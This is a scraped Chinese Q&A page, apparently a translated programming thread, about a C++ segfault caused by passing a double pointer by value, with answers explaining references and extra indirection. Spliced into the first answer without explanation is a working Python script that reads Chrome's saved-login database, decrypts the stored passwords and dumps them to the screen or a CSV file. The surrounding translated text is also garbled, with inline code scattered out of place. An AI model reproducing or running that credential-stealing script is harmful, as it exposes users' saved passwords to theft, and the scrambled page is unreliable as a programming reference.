我遇到过这样一种情况,我必须在函数中对矩阵进行一些数学运算(在编译时这个维度是未知的,所以我必须将它保存为指针)然后将它等同于我传递的指针函数的参数。
代码每次都会抛出一个分段错误。我在这里有一个示例代码:
#include <iostream>
using namespace std;
void assign(int **a)
{
int **A = new int* [3];
int i, j;
for(i = 0; i < 3; i++)
A[i] = new int[3];
for(i = 0; i < 3; i++)
for(j = 0; j < 3; j++)
A[i][j] = 100;
a = A; /* equating the pointers */
}
int main()
{
int **ptr;
assign(ptr); /* Passing my pointer into the function */
cout << ptr[0][0] << endl;
return 0;
}
代码是用C ++编写的,我不能让函数使用void之外的返回类型。而且我不想按行/列专业将我的矩阵保存在普通指针上 - 我需要知道为什么这不起作用。
答案 0 :(得分:4)
仔细查看您的代码:
a
您按价值传递assign(ptr)
- 调用ptr
后,您不会在功能正文中修改ptr
本身,而只会修改ptr
的副本。< / p>
改为引用void assign(int**& a)
{
// ...
}
:
void assign(int*** a)
{
// ...
*a = A;
}
int main()
{
int** ptr;
assign(&ptr);
}
其他可能的解决方案:
添加另一个间接级别。
assign
从int** assign()
{
// ...
return A;
}
int main()
{
int** ptr;
ptr = assign();
}
返回。
import os
import sys
import sqlite3
try:
import win32crypt
except:
pass
import argparse
def args_parser():
parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
parser.add_argument("--output", help="Output to csv file", action="store_true")
args = parser.parse_args()
if args.output:
csv(main())
else:
for data in main():
print (data)
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
sys.exit(0)
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
sys.exit(0)
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
sys.exit(0)
else:
print (e)
sys.exit(0)
return info_list
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
def csv (info):
with open ('chromepass.csv', 'wb') as csv_file:
csv_file.write('origin_url,username,password \n' .encode('utf'))
for data in info:
csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
print ("Data written to Chromepass.csv")
if __name__ == '__main__':
args_parser()
答案 1 :(得分:0)
根据内存考虑代码中实际发生的事情。这是一个例子,暂时取一些想象中的内存地址:
in main(): in assign():
ptr at 0x0100, value: garbage_ptr
call
----->
a at 0x0200, value: garbage_ptr
[after some computation]
A at 0x0204, value: 0x0400
[after the line: a = A;]
a at 0x0200, value: 0x0400
ptr at 0x0100, value: garbage_ptr
您可以看到没有任何内容写入0x0100,ptr
的地址。这是因为a
中的assign()
获得了ptr
的值;它不知道 {/ 1}} 的。 ptr
仍然指向它在ptr
开头的范围开始时所做的未触及(垃圾)值。
现在假设将代码更改为:
main()
上面的插图现在变为:
...
void assign(int ***a)
{
...
*a = A;
}
int main()
{
int **ptr;
assign(&ptr);
....
这样, in main(): in assign():
ptr at 0x0100, value: garbage_ptr
&ptr rvalue, value: 0x0100
call
----->
a at 0x0200, value: 0x0100
*a at 0x100, value: garbage_ptr
[after some computation]
A at 0x0204, value: 0x0400
[after the line: *a = A;]
a at 0x200, value: 0x0100
*a at 0x100, value: 0x0400
return
<-----
ptr at 0x100, value: 0x0400
的值会发生变化,这就是你想要的。 (实际上,你应该在C ++中使用这种东西的引用,但用指针显示错误会更容易。)